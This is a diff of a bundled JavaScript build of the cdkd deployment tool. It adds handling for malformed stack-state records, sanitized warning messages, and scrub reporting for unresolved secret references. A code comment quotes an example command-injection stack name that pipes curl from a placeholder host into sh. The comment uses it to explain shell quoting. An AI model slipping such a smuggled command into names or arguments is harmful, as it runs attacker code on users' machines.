* union above is closed at COMPILE time, so without this the guarantee would
|
|
64192
|
+
* live in a comment, and the day a caller derives a name from a record instead
|
|
64193
|
+
* of from a literal an unsanitized element could forge a line, render as empty
|
|
64194
|
+
* quotes naming nothing, or run to kilobytes and push the remedy command off
|
|
64195
|
+
* the reader's screen. `safeIdentifier` closes all three and is the identity on
|
|
64196
|
+
* all four literals, so no user-visible text moves.
|
|
64197
|
+
*
|
|
64198
|
+
* What it does NOT close, stated rather than reassured away: a forged name made
|
|
64199
|
+
* only of printable ASCII still renders verbatim inside its quotes and could
|
|
64200
|
+
* read as prose. That residual is bounded to the PROSE — the command the reader
|
|
64201
|
+
* pastes is built from the two shell-quoted identifiers alone — and closing it
|
|
64202
|
+
* would mean JSON-quoting a name in the one place the text is meant to read as
|
|
64203
|
+
* English (review of go-to-k/cdkd#3190).
|
|
64204
|
+
*/
|
|
64205
|
+
function malformedRenderedContainersWarning(stackName, region, containers) {
|
|
64206
|
+
const stack = safeIdentifier(stackName);
|
|
64207
|
+
const reg = safeIdentifier(region);
|
|
64208
|
+
const names = containers.map((name) => `'${safeIdentifier(name)}'`).join(", ");
|
|
64209
|
+
return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has a non-object ${names} — the record is malformed or truncated. 'Object.entries' walks a string or a list as readily as a map, so rendering one INVENTS a row per character or element. Continuing with it EMPTY: this view shows no rows there, which is not the same as the record holding none. A per-resource container is named once however many resources hold one. See the stored values with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
|
|
64210
|
+
}
|
|
64211
|
+
/** The warning a caller of {@link repairMalformedResourcesForReadOnly} emits. */
|
|
64212
|
+
function malformedResourcesWarning(stackName, region) {
|
|
64213
|
+
return `${malformedStateDetail(stackName, region)} Continuing with an EMPTY resource set: this command's output describes zero resources, which is not the same as the stack having none.`;
|
|
64214
|
+
}
|
|
64215
|
+
/**
|
|
64216
|
+
* The `outputs` half of {@link repairMalformedResourcesForReadOnly}, for a
|
|
64217
|
+
* READ-ONLY command that DIFFS the stored bag rather than rendering it
|
|
64218
|
+
* (go-to-k/cdkd#3189).
|
|
64219
|
+
*
|
|
64220
|
+
* `computeOutputsDiff` enumerates the stored bag twice, the second walk
|
|
64221
|
+
* emitting one `REMOVE` row per stored key today's template no longer declares.
|
|
64222
|
+
* It used to admit the bag on a bare `?? {}`, which covers `null` and
|
|
64223
|
+
* `undefined` only — so a hand-edited or truncated record whose `outputs` holds
|
|
64224
|
+
* a string or a list previewed the REMOVAL of outputs that never existed, one
|
|
64225
|
+
* row per character or element, each carrying a character of the record as its
|
|
64226
|
+
* `old:` side, with `cdkd diff --fail` exiting 1 on them.
|
|
64227
|
+
*
|
|
64228
|
+
* AT THE LOAD, for the reason
|
|
64229
|
+
* {@link repairMalformedResourcesForReadOnly}'s own note records and one more
|
|
64230
|
+
* that is specific to this container: `cdkd diff` dereferences the stored bag
|
|
64231
|
+
* BEFORE the walk that fabricates. `resolveTemplateOutputs` asks
|
|
64232
|
+
* `hasOwnProperty.call(storedOutputs, key)` for go-to-k/cdkd#2740's
|
|
64233
|
+
* skipped-output record and for go-to-k/cdkd#1942's literal `Export.Name`
|
|
64234
|
+
* verdict — which ANSWERS TRUE on a string for `'0'` or `'length'`, and THROWS
|
|
64235
|
+
* outright on `null` (`Cannot convert undefined or null to object`). So a guard
|
|
64236
|
+
* written at `computeOutputsDiff` alone leaves a wrong decision, or a raw
|
|
64237
|
+
* `TypeError`, one call above it.
|
|
64238
|
+
*
|
|
64239
|
+
* ABSENT IS EXEMPT AND `null` IS NOT, which is the one place this diverges from
|
|
64240
|
+
* {@link isReadableBag}'s verdict, and the split is measured rather than
|
|
64241
|
+
* stylistic. Both stored-bag lookups named above gate on
|
|
64242
|
+
* `storedOutputs !== undefined` before the `hasOwnProperty` call, so an ABSENT
|
|
64243
|
+
* bag never reaches one; every other consumer on the diff path carries its own
|
|
64244
|
+
* `?? {}` (`mergeNoChangeOutputs`'s `persisted`, `importableOutputKeys`, this
|
|
64245
|
+
* function's own walk). An absent bag is therefore inert, exactly the condition
|
|
64246
|
+
* under which `state.ts`'s `repairRenderedContainers` exempts it — and warning
|
|
64247
|
+
* would be a false positive on a record cdkd itself supports: `cdkd scrub`
|
|
64248
|
+
* round-trips a record with no `outputs` deliberately, refusing to materialize
|
|
64249
|
+
* `{}` over it, and the deploy's failure-path saves write
|
|
64250
|
+
* `outputs: currentState.outputs`, which `JSON.stringify` drops when it is
|
|
64251
|
+
* undefined. A `null` bag is NOT inert — it passes the `!== undefined` gate and
|
|
64252
|
+
* `hasOwnProperty.call(null, ...)` throws — so it is repaired and warned about
|
|
64253
|
+
* like any other unreadable shape.
|
|
64254
|
+
*
|
|
64255
|
+
* That leaves one clause of go-to-k/cdkd#3189's stated floor overridden on
|
|
64256
|
+
* purpose: it asked that a `null` bag "diff exactly as it does today and say
|
|
64257
|
+
* nothing", and diffing exactly as it does today means THROWING. Recorded on
|
|
64258
|
+
* the issue rather than silently traded.
|
|
64259
|
+
*
|
|
64260
|
+
* Mutates in place and returns whether it repaired anything; the caller warns
|
|
64261
|
+
* on `true` with {@link malformedOutputsWarning}. Read-only commands ONLY, for
|
|
64262
|
+
* the reason {@link refuseMalformedState} gives — a bag laundered into a
|
|
64263
|
+
* well-formed empty one is permanent, and for `outputs` it would also take the
|
|
64264
|
+
* exports index with it on the next write.
|
|
64265
|
+
*/
|
|
64266
|
+
function repairMalformedOutputsForReadOnly(state) {
|
|
64267
|
+
if (state.outputs === void 0 || isReadableBag(state.outputs)) return false;
|
|
64268
|
+
state.outputs = {};
|
|
64269
|
+
return true;
|
|
64270
|
+
}
|
|
64271
|
+
/**
|
|
64272
|
+
* The warning a caller of {@link repairMalformedOutputsForReadOnly} emits.
|
|
64273
|
+
*
|
|
64274
|
+
* Deliberately neither {@link malformedResourcesWarning}'s text nor
|
|
64275
|
+
* {@link malformedRenderedContainersWarning}'s, because the CONSEQUENCE of
|
|
64276
|
+
* continuing empty differs from both. The resources text forbids
|
|
64277
|
+
* `cdkd deploy` / `cdkd destroy` because an unreadable resource MAP is
|
|
64278
|
+
* indistinguishable from an empty stack; the resource set is intact here. The
|
|
64279
|
+
* rendered-containers text says the view "shows no rows there" — true of a
|
|
64280
|
+
* renderer, false of a diff, which does not go quiet on an empty stored bag but
|
|
64281
|
+
* reports every resolved output as an `ADD`. Saying so is the point: an
|
|
64282
|
+
* operator who reads `ADD` rows for outputs the stack already has needs to know
|
|
64283
|
+
* the comparison lost its left-hand side.
|
|
64284
|
+
*
|
|
64285
|
+
* Identifiers are sanitized and then shell-quoted and the command is emitted
|
|
64286
|
+
* LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
|
|
64287
|
+
*/
|
|
64288
|
+
function malformedOutputsWarning(stackName, region) {
|
|
64289
|
+
const stack = safeIdentifier(stackName);
|
|
64290
|
+
const reg = safeIdentifier(region);
|
|
64291
|
+
return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'outputs' map — the record is malformed or truncated. Where the stored value is a string or a list, 'Object.entries' walks it as readily as a map, so diffing it INVENTS a REMOVE row per character or element carrying the record's own characters; where it is a number, a boolean or null, it yields no comparison at all. Continuing with it EMPTY: every output this diff resolves is reported as an ADD and no stored key is reported as a REMOVE, which is not the same as the record holding none. See the stored value with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
|
|
64292
|
+
}
|
|
64293
|
+
/**
|
|
64294
|
+
* For a command that can WRITE state: refuse the record by name instead of
|
|
64295
|
+
* repairing it.
|
|
64296
|
+
*
|
|
64297
|
+
* Repairing is actively DANGEROUS here, and the PR that introduced this module
|
|
64298
|
+
* shipped that danger for one round before its security review caught it.
|
|
64299
|
+
* `cdkd scrub` gates its `saveState` on `recordsChanged > 0`, which an OUTPUTS
|
|
64300
|
+
* change alone satisfies — so a record holding `"resources": null` and a
|
|
64301
|
+
* plaintext secret in `outputs` would be scrubbed, and then saved back with a
|
|
64302
|
+
* repaired, WELL-FORMED `resources: {}`. The malformed record is the only
|
|
64303
|
+
* signal that anything is wrong; laundering it into a legitimate-looking empty
|
|
64304
|
+
* one is permanent and silent. The next `cdkd deploy` then reads zero resources
|
|
64305
|
+
* and CREATES the whole stack a second time, and the next `cdkd destroy`
|
|
64306
|
+
* deletes nothing and orphans every live resource — and the one-shot warning
|
|
64307
|
+
* that would have said so is long gone, quite possibly for a different
|
|
64308
|
+
* operator. `cdkd import --force` launders it the same way.
|
|
64309
|
+
*
|
|
64310
|
+
* Refusing still satisfies #3018, whose complaint was the BARE `TypeError`:
|
|
64311
|
+
* this names the stack, the region, the defect and the remedy, and exits on a
|
|
64312
|
+
* code rather than on a stack trace.
|
|
64313
|
+
*/
|
|
64314
|
+
function refuseMalformedState(state, stackName, region) {
|
|
64315
|
+
if (hasReadableResources(state)) return;
|
|
64316
|
+
throw new CdkdError(malformedStateRefusalMessage(stackName, region), STATE_RESOURCES_MALFORMED);
|
|
64317
|
+
}
|
|
64318
|
+
|
|
64010
64319
|
//#endregion
|
|
64011
64320
|
//#region src/analyzer/outputs-diff.ts
|
|
64012
64321
|
/**
|
|
@@ -64439,7 +64748,7 @@ async function resolveTemplateOutputs(template, resolveFn, conditions, storedOut
|
|
|
64439
64748
|
*/
|
|
64440
64749
|
function computeOutputsDiff(current, desired, exportNames, secretSourceKeys = /* @__PURE__ */ new Set(), unaccountableScan = {}) {
|
|
64441
64750
|
const changes = [];
|
|
64442
|
-
const currentBag = current
|
|
64751
|
+
const currentBag = current !== void 0 && isReadableBag(current) ? current : {};
|
|
64443
64752
|
const legacyRecord = unaccountableScan.forceLegacyRecord === true || Object.entries(currentBag).some(([name, oldValue]) => {
|
|
64444
64753
|
if (typeof oldValue === "string" && isSecretBearingReferenceString(oldValue)) return false;
|
|
64445
64754
|
return containsSecretDynamicReference(desired[name]) || secretSourceKeys.has(name);
|
|
@@ -65405,224 +65714,6 @@ function isStackNotFoundError(err) {
|
|
|
65405
65714
|
return name === "ValidationError" && /does not exist/i.test(message);
|
|
65406
65715
|
}
|
|
65407
65716
|
|
|
65408
|
-
//#endregion
|
|
65409
|
-
//#region src/state/malformed-resources-bag.ts
|
|
65410
|
-
/** The error code every malformed-record refusal carries, whatever its class. */
|
|
65411
|
-
const STATE_RESOURCES_MALFORMED = "STATE_RESOURCES_MALFORMED";
|
|
65412
|
-
/**
|
|
65413
|
-
* Answer the ONE question both helpers below key on: can this record's
|
|
65414
|
-
* resource map be read at all?
|
|
65415
|
-
*
|
|
65416
|
-
* Widened past `null` / `undefined` because the message says "no readable
|
|
65417
|
-
* resources map" and a hand-edited record does not stop at those two: a
|
|
65418
|
-
* `[]`, a `5` or a `"ab"` all survive `Object.entries` and yield a bag that is
|
|
65419
|
-
* empty or, for the string, absurd — repaired silently and warned about
|
|
65420
|
-
* nowhere. The predicate is the plain-object test the bag's own type implies.
|
|
65421
|
-
*/
|
|
65422
|
-
function hasReadableResources(state) {
|
|
65423
|
-
return isReadableBag(state.resources);
|
|
65424
|
-
}
|
|
65425
|
-
/**
|
|
65426
|
-
* The plain-object test itself, without the `resources` field bound to it.
|
|
65427
|
-
*
|
|
65428
|
-
* Exported because {@link hasReadableResources} is not the only caller any
|
|
65429
|
-
* more: `cdkd state show` and `cdkd state resources` walk FOUR more record
|
|
65430
|
-
* containers with `Object.entries` — `outputs`, `skippedOutputs`, and each
|
|
65431
|
-
* resource's `attributes` and `properties` — and a non-object in any of them
|
|
65432
|
-
* fabricates rows exactly as the `resources` bag did (go-to-k/cdkd#3187).
|
|
65433
|
-
* Spelling the same test a second time there is what this export exists to
|
|
65434
|
-
* prevent: the two could then drift, and the one that drifted would fabricate
|
|
65435
|
-
* again while looking guarded.
|
|
65436
|
-
*
|
|
65437
|
-
* What it does NOT decide is whether a given container is malformed. That is a
|
|
65438
|
-
* per-container call, because absence means different things: an absent
|
|
65439
|
-
* `resources` bag is a defect ({@link hasReadableResources} says so), while an
|
|
65440
|
-
* absent `skippedOutputs` is the normal pre-#2740 record. Each caller pairs
|
|
65441
|
-
* this predicate with its own absence rule.
|
|
65442
|
-
*/
|
|
65443
|
-
function isReadableBag(container) {
|
|
65444
|
-
return typeof container === "object" && container !== null && !Array.isArray(container);
|
|
65445
|
-
}
|
|
65446
|
-
/**
|
|
65447
|
-
* The shared explanation, in the terms the reader needs: what is wrong, what
|
|
65448
|
-
* to look at, and what NOT to do next.
|
|
65449
|
-
*
|
|
65450
|
-
* Both identifiers are SANITIZED and THEN SHELL-QUOTED, and the command is
|
|
65451
|
-
* emitted LAST and UNWRAPPED — the shape `lock-contention-message.ts` and
|
|
65452
|
-
* `.claude/rules/layout-state-types.md` require of any suggestion a user is
|
|
65453
|
-
* meant to paste, for two separate reasons.
|
|
65454
|
-
*
|
|
65455
|
-
* Sanitizing alone is not enough. `displaySafe(..., { asciiOnly: true })` is a
|
|
65456
|
-
* printable-ASCII allowlist, so it removes the line- and escape-forgery class
|
|
65457
|
-
* but KEEPS `'`, `;`, `|`, `` ` ``, `$` and spaces — and neither name is
|
|
65458
|
-
* trusted here, since a stack name reaches the cross-stack read path from an
|
|
65459
|
-
* `Fn::GetStackOutput` argument or an S3 key. A name spelled
|
|
65460
|
-
* `a'; curl http://x|sh; echo '` would close the quoting and append its own
|
|
65461
|
-
* command to the line this text tells the user to RUN.
|
|
65462
|
-
*
|
|
65463
|
-
* Wrapping the command in `'...'` is not enough either, and is what makes the
|
|
65464
|
-
* two compose badly: `shellQuote` does its own quoting, so an outer wrapper
|
|
65465
|
-
* produces something unpastable. Hence unwrapped and last.
|
|
65466
|
-
*
|
|
65467
|
-
* An identifier that sanitizes to EMPTY becomes `UNRENDERABLE` rather than
|
|
65468
|
-
* nothing — an empty argument makes `--stack-region` swallow the next flag,
|
|
65469
|
-
* turning a remedy into a differently-broken command.
|
|
65470
|
-
*/
|
|
65471
|
-
function safeIdentifier(value) {
|
|
65472
|
-
const safe = displaySafe(value, { asciiOnly: true });
|
|
65473
|
-
if (!safe) return UNRENDERABLE;
|
|
65474
|
-
const { text, truncated } = truncateCodePoints(safe, 128);
|
|
65475
|
-
return truncated ? `${text}...` : text;
|
|
65476
|
-
}
|
|
65477
|
-
function malformedStateDetail(stackName, region) {
|
|
65478
|
-
const stack = safeIdentifier(stackName);
|
|
65479
|
-
const reg = safeIdentifier(region);
|
|
65480
|
-
return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'resources' map — the record is malformed or truncated. Do NOT run 'cdkd deploy' or 'cdkd destroy' against it: both read the same map, and an unreadable one is indistinguishable from an empty stack, so deploy would re-CREATE every resource and destroy would delete none of them. Inspect it with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
|
|
65481
|
-
}
|
|
65482
|
-
/**
|
|
65483
|
-
* For a READ-ONLY command: give the record an empty resource bag so the
|
|
65484
|
-
* command can report on it, and say so (issue go-to-k/cdkd#3018).
|
|
65485
|
-
*
|
|
65486
|
-
* `parseStateBody` deliberately does not validate the inner shape, so a
|
|
65487
|
-
* hand-edited or truncated record reaches a command with `resources` absent,
|
|
65488
|
-
* `null`, or some other non-object. Every such command then died on a raw
|
|
65489
|
-
* `TypeError` from the first `Object.keys` / `in` / index read — the exact
|
|
65490
|
-
* wording differs per shape (`Cannot convert undefined or null to object`,
|
|
65491
|
-
* `Cannot use 'in' operator`, `Cannot read properties of null`), and none of
|
|
65492
|
-
* them names a stack, a key or a remedy, from exactly the commands a user
|
|
65493
|
-
* reaches for WHEN the state is broken.
|
|
65494
|
-
*
|
|
65495
|
-
* WHY AT THE LOAD AND NOT AT EACH LOOP. The first cut of #3018 put `?? {}` on
|
|
65496
|
-
* the twelve `Object.entries(state.resources)` loops, which was inert: every
|
|
65497
|
-
* one of those flows dereferences the bag EARLIER — `!(id in state.resources)`,
|
|
65498
|
-
* `hasOwnProperty.call(...)`, `state.resources[logicalId]` — so the abort still
|
|
65499
|
-
* happened one line up and the guards only made it look handled. One call per
|
|
65500
|
-
* load dominates the whole flow behind it, including the helpers that take the
|
|
65501
|
-
* state as a parameter (`orphan-rewriter`, `diff-calculator`,
|
|
65502
|
-
* `collectCcApiRoutes`).
|
|
65503
|
-
*
|
|
65504
|
-
* Mutates in place and returns whether it repaired anything; the caller warns
|
|
65505
|
-
* on `true`. A silent repair is its own defect — an empty resource set is
|
|
65506
|
-
* indistinguishable from a healthy empty stack in every later line of output,
|
|
65507
|
-
* so `No changes detected` over an unreadable record is a clean verdict about
|
|
65508
|
-
* nothing.
|
|
65509
|
-
*
|
|
65510
|
-
* **Only for a command that cannot WRITE state.** Anything that can persist
|
|
65511
|
-
* uses {@link refuseMalformedState} instead; see its note.
|
|
65512
|
-
*/
|
|
65513
|
-
function repairMalformedResourcesForReadOnly(state) {
|
|
65514
|
-
if (hasReadableResources(state)) return false;
|
|
65515
|
-
state.resources = {};
|
|
65516
|
-
return true;
|
|
65517
|
-
}
|
|
65518
|
-
/**
|
|
65519
|
-
* The refusal TEXT, for a command whose own exit-code contract means this
|
|
65520
|
-
* cannot be a plain `CdkdError`.
|
|
65521
|
-
*
|
|
65522
|
-
* `cdkd scrub` is the case: its exit `1` is SPOKEN FOR ("--fail found
|
|
65523
|
-
* plaintext") and every one of its refusals carries `exitCode = 2`, because a
|
|
65524
|
-
* CI gate reading the code alone must be able to tell "scrub looked and found
|
|
65525
|
-
* a leak" from "scrub refused to look" — the two call for opposite responses.
|
|
65526
|
-
* So scrub tests {@link hasReadableResources} and raises its own class around
|
|
65527
|
-
* this text rather than calling {@link refuseMalformedState}.
|
|
65528
|
-
*
|
|
65529
|
-
* The other three refusing commands do NOT share that need, and giving them a
|
|
65530
|
-
* single shared code would be wrong in the other direction: `cdkd rollback`
|
|
65531
|
-
* documents `2` as "PARTIAL — journal kept, idempotent re-run", so a `2` here
|
|
65532
|
-
* would tell an operator to re-run a command that attempted nothing.
|
|
65533
|
-
*/
|
|
65534
|
-
function malformedStateRefusalMessage(stackName, region) {
|
|
65535
|
-
return `${malformedStateDetail(stackName, region)} This command can WRITE state, so it refuses rather than continuing: saving over a record whose resource map could not be read would replace the evidence with a well-formed empty one and lose it permanently. Repair or remove the record first.`;
|
|
65536
|
-
}
|
|
65537
|
-
/**
|
|
65538
|
-
* The warning a view emits when it emptied one or more {@link
|
|
65539
|
-
* RenderedStateContainer}s it could not walk (go-to-k/cdkd#3187).
|
|
65540
|
-
*
|
|
65541
|
-
* Deliberately NOT {@link malformedResourcesWarning}'s text, and the reason is
|
|
65542
|
-
* narrower than it looks. That one tells the reader not to run `cdkd deploy` /
|
|
65543
|
-
* `cdkd destroy` because an unreadable `resources` MAP is indistinguishable
|
|
65544
|
-
* from an empty stack: deploy would re-CREATE everything and destroy would
|
|
65545
|
-
* delete nothing. No container named here can produce that specific confusion —
|
|
65546
|
-
* the resource SET is still readable — so borrowing that sentence would attach
|
|
65547
|
-
* a re-create-the-world warning to a record whose resource list is intact.
|
|
65548
|
-
*
|
|
65549
|
-
* It is NOT that these containers are display-only. `properties` is read by the
|
|
65550
|
-
* deploy change calculation (`src/analyzer/diff-calculator.ts`), which imports
|
|
65551
|
-
* nothing from this module, and a non-object there compares unequal to any
|
|
65552
|
-
* desired object and yields a spurious property-change set — filed as
|
|
65553
|
-
* go-to-k/cdkd#3191. An earlier revision of this comment asserted the
|
|
65554
|
-
* display-only premise, which would have read as licence to drop a guard on
|
|
65555
|
-
* that path (review of go-to-k/cdkd#3190).
|
|
65556
|
-
*
|
|
65557
|
-
* What stays the same is the remedy: `--json` is the mode that shows the
|
|
65558
|
-
* stored value.
|
|
65559
|
-
*
|
|
65560
|
-
* ONE warning per record however many containers it names — a stack whose 500
|
|
65561
|
-
* resources all carry a hand-edited `properties` gets one line, not 500. The
|
|
65562
|
-
* caller FILTERS a fixed order (`RENDERED_CONTAINER_ORDER`), so the text is
|
|
65563
|
-
* stable across records. Not `.sort()` — that order is deliberately not
|
|
65564
|
-
* alphabetical, and its own JSDoc says so.
|
|
65565
|
-
*
|
|
65566
|
-
* Both identifiers are sanitized and then shell-quoted, and the command is
|
|
65567
|
-
* emitted LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s own note
|
|
65568
|
-
* gives.
|
|
65569
|
-
*
|
|
65570
|
-
* The container NAMES take {@link safeIdentifier} too — the SAME helper, so
|
|
65571
|
-
* they cannot drift from it — but NOT `shellQuote`, because they appear in the
|
|
65572
|
-
* PROSE and never inside the command this text tells the reader to run; the
|
|
65573
|
-
* command carries the two identifiers and nothing else.
|
|
65574
|
-
*
|
|
65575
|
-
* Sanitizing them is not dead code written for a case that cannot happen. The
|
|
65576
|
-
* union above is closed at COMPILE time, so without this the guarantee would
|
|
65577
|
-
* live in a comment, and the day a caller derives a name from a record instead
|
|
65578
|
-
* of from a literal an unsanitized element could forge a line, render as empty
|
|
65579
|
-
* quotes naming nothing, or run to kilobytes and push the remedy command off
|
|
65580
|
-
* the reader's screen. `safeIdentifier` closes all three and is the identity on
|
|
65581
|
-
* all four literals, so no user-visible text moves.
|
|
65582
|
-
*
|
|
65583
|
-
* What it does NOT close, stated rather than reassured away: a forged name made
|
|
65584
|
-
* only of printable ASCII still renders verbatim inside its quotes and could
|
|
65585
|
-
* read as prose. That residual is bounded to the PROSE — the command the reader
|
|
65586
|
-
* pastes is built from the two shell-quoted identifiers alone — and closing it
|
|
65587
|
-
* would mean JSON-quoting a name in the one place the text is meant to read as
|
|
65588
|
-
* English (review of go-to-k/cdkd#3190).
|
|
65589
|
-
*/
|
|
65590
|
-
function malformedRenderedContainersWarning(stackName, region, containers) {
|
|
65591
|
-
const stack = safeIdentifier(stackName);
|
|
65592
|
-
const reg = safeIdentifier(region);
|
|
65593
|
-
const names = containers.map((name) => `'${safeIdentifier(name)}'`).join(", ");
|
|
65594
|
-
return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has a non-object ${names} — the record is malformed or truncated. 'Object.entries' walks a string or a list as readily as a map, so rendering one INVENTS a row per character or element. Continuing with it EMPTY: this view shows no rows there, which is not the same as the record holding none. A per-resource container is named once however many resources hold one. See the stored values with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
|
|
65595
|
-
}
|
|
65596
|
-
/** The warning a caller of {@link repairMalformedResourcesForReadOnly} emits. */
|
|
65597
|
-
function malformedResourcesWarning(stackName, region) {
|
|
65598
|
-
return `${malformedStateDetail(stackName, region)} Continuing with an EMPTY resource set: this command's output describes zero resources, which is not the same as the stack having none.`;
|
|
65599
|
-
}
|
|
65600
|
-
/**
|
|
65601
|
-
* For a command that can WRITE state: refuse the record by name instead of
|
|
65602
|
-
* repairing it.
|
|
65603
|
-
*
|
|
65604
|
-
* Repairing is actively DANGEROUS here, and the PR that introduced this module
|
|
65605
|
-
* shipped that danger for one round before its security review caught it.
|
|
65606
|
-
* `cdkd scrub` gates its `saveState` on `recordsChanged > 0`, which an OUTPUTS
|
|
65607
|
-
* change alone satisfies — so a record holding `"resources": null` and a
|
|
65608
|
-
* plaintext secret in `outputs` would be scrubbed, and then saved back with a
|
|
65609
|
-
* repaired, WELL-FORMED `resources: {}`. The malformed record is the only
|
|
65610
|
-
* signal that anything is wrong; laundering it into a legitimate-looking empty
|
|
65611
|
-
* one is permanent and silent. The next `cdkd deploy` then reads zero resources
|
|
65612
|
-
* and CREATES the whole stack a second time, and the next `cdkd destroy`
|
|
65613
|
-
* deletes nothing and orphans every live resource — and the one-shot warning
|
|
65614
|
-
* that would have said so is long gone, quite possibly for a different
|
|
65615
|
-
* operator. `cdkd import --force` launders it the same way.
|
|
65616
|
-
*
|
|
65617
|
-
* Refusing still satisfies #3018, whose complaint was the BARE `TypeError`:
|
|
65618
|
-
* this names the stack, the region, the defect and the remedy, and exits on a
|
|
65619
|
-
* code rather than on a stack trace.
|
|
65620
|
-
*/
|
|
65621
|
-
function refuseMalformedState(state, stackName, region) {
|
|
65622
|
-
if (hasReadableResources(state)) return;
|
|
65623
|
-
throw new CdkdError(malformedStateRefusalMessage(stackName, region), STATE_RESOURCES_MALFORMED);
|
|
65624
|
-
}
|
|
65625
|
-
|
|
65626
65717
|
//#endregion
|
|
65627
65718
|
//#region src/cli/commands/diff-recursive.ts
|
|
65628
65719
|
/**
|
|
@@ -65745,6 +65836,7 @@ async function loadStateOrEmpty(stackName, region, stateBackend) {
|
|
|
65745
65836
|
const result = await stateBackend.getState(stackName, region);
|
|
65746
65837
|
if (result) {
|
|
65747
65838
|
if (repairMalformedResourcesForReadOnly(result.state)) logger.warn(malformedResourcesWarning(stackName, region));
|
|
65839
|
+
if (repairMalformedOutputsForReadOnly(result.state)) logger.warn(malformedOutputsWarning(stackName, region));
|
|
65748
65840
|
return result.state;
|
|
65749
65841
|
}
|
|
65750
65842
|
return {
|
|
@@ -67048,6 +67140,7 @@ async function scrubCommand(stacks, options) {
|
|
|
67048
67140
|
let totalStacksScrubbed = 0;
|
|
67049
67141
|
let totalStacksWithUnscrubbableKeys = 0;
|
|
67050
67142
|
let totalStacksWithUnverifiableReads = 0;
|
|
67143
|
+
let totalStacksWithUnverifiableLeaves = 0;
|
|
67051
67144
|
/**
|
|
67052
67145
|
* Stacks this `--dry-run` proceeded over with an UNREADABLE resources map
|
|
67053
67146
|
* (issue go-to-k/cdkd#3018). Tracked exactly like `indexUnreadable`: an
|
|
@@ -67129,8 +67222,12 @@ async function scrubCommand(stacks, options) {
|
|
|
67129
67222
|
if (scrubbed.recordsChanged > 0) {
|
|
67130
67223
|
totalStacksScrubbed++;
|
|
67131
67224
|
logger.info(`${options.dryRun ? "Would scrub" : "Scrubbed"} ${scrubbed.recordsChanged} resource record(s) in ${stack.stackName}`);
|
|
67132
|
-
} else if (scrubbed.secretBearingKeys === 0 && scrubbed.unverifiableReads === 0 && indexConverged === 0) logger.info(`No plaintext secrets found in ${stack.stackName}`);
|
|
67225
|
+
} else if (scrubbed.secretBearingKeys === 0 && scrubbed.unverifiableReads === 0 && scrubbed.unverifiableLeaves === 0 && indexConverged === 0) logger.info(`No plaintext secrets found in ${stack.stackName}`);
|
|
67133
67226
|
if (scrubbed.malformedResources) malformedRecords.push(stack.stackName);
|
|
67227
|
+
if (scrubbed.unverifiableLeaves > 0) {
|
|
67228
|
+
totalStacksWithUnverifiableLeaves++;
|
|
67229
|
+
logger.warn(`${scrubbed.unverifiableLeaves} scan(s) in ${stack.stackName} were ABANDONED mid-value because a {{resolve:...}} reference could not be resolved (see the warnings above). The resolver stops at the first failing token, so a real secret after it in the same value recorded no needle — this stack is not reported clean. The count is per abandoned SCAN, not per secret: one record can contribute more than once (an output whose Export.Name and Value both abandon), and one abandoned scan can hide several unexamined leaves.`);
|
|
67230
|
+
}
|
|
67134
67231
|
if (scrubbed.unverifiableReads > 0) {
|
|
67135
67232
|
totalStacksWithUnverifiableReads++;
|
|
67136
67233
|
logger.warn(`${scrubbed.unverifiableReads} cross-stack read(s) in ${stack.stackName} could NOT be verified — cdkd declines them by design (see the warnings above), so this stack is not reported clean.`);
|
|
@@ -67161,7 +67258,7 @@ async function scrubCommand(stacks, options) {
|
|
|
67161
67258
|
totalIndexEntriesUnexamined += unexamined.length;
|
|
67162
67259
|
logger.info(`Exports index (${indexRegion}): ${unexamined.length} entr${unexamined.length === 1 ? "y is" : "ies are"} published by a producer this run did not scrub, so nothing here read ${unexamined.length === 1 ? "its" : "their"} value. Coverage composes across the apps sharing this bucket and region — run each app's own cdkd scrub to reach its entries.`);
|
|
67163
67260
|
}
|
|
67164
|
-
if (totalStacksScrubbed === 0 && totalStacksWithUnscrubbableKeys === 0 && totalStacksWithUnverifiableReads === 0 && totalIndexEntriesConverged === 0 && indexUnwritten.length === 0 && indexUnreadable.length === 0 && malformedRecords.length === 0) {
|
|
67261
|
+
if (totalStacksScrubbed === 0 && totalStacksWithUnscrubbableKeys === 0 && totalStacksWithUnverifiableReads === 0 && totalStacksWithUnverifiableLeaves === 0 && totalIndexEntriesConverged === 0 && indexUnwritten.length === 0 && indexUnreadable.length === 0 && malformedRecords.length === 0) {
|
|
67165
67262
|
if (failures.length === 0) {
|
|
67166
67263
|
logger.info("\nNo plaintext secrets found in any target stack state. Nothing to scrub.");
|
|
67167
67264
|
return;
|
|
@@ -67171,6 +67268,7 @@ async function scrubCommand(stacks, options) {
|
|
|
67171
67268
|
}
|
|
67172
67269
|
const failureNote = failures.length > 0 ? ` ${failures.length} stack(s) could NOT be scrubbed at all and are NOT covered by this summary — see the errors above.` : "";
|
|
67173
67270
|
const keyNote = totalStacksWithUnscrubbableKeys > 0 ? ` ${totalStacksWithUnscrubbableKeys} stack(s) hold plaintext in an output KEY, which cdkd scrub cannot rewrite — rename that output's Export.Name and redeploy.` : "";
|
|
67271
|
+
const leafNote = totalStacksWithUnverifiableLeaves > 0 ? ` ${totalStacksWithUnverifiableLeaves} stack(s) had a {{resolve:...}} scan ABANDONED mid-value, so part of their state was never examined (see the warnings above).` : "";
|
|
67174
67272
|
const unverifiableNote = totalStacksWithUnverifiableReads > 0 ? ` ${totalStacksWithUnverifiableReads} stack(s) carry a cross-stack read cdkd declines to perform, so their imported values could NOT be checked — export a non-secret value (e.g. the secret's ARN) from the producer, or reference it from within its own account.` : "";
|
|
67175
67273
|
const indexNote = (() => {
|
|
67176
67274
|
const parts = [];
|
|
@@ -67180,20 +67278,20 @@ async function scrubCommand(stacks, options) {
|
|
|
67180
67278
|
return parts.join("");
|
|
67181
67279
|
})();
|
|
67182
67280
|
if (options.dryRun) {
|
|
67183
|
-
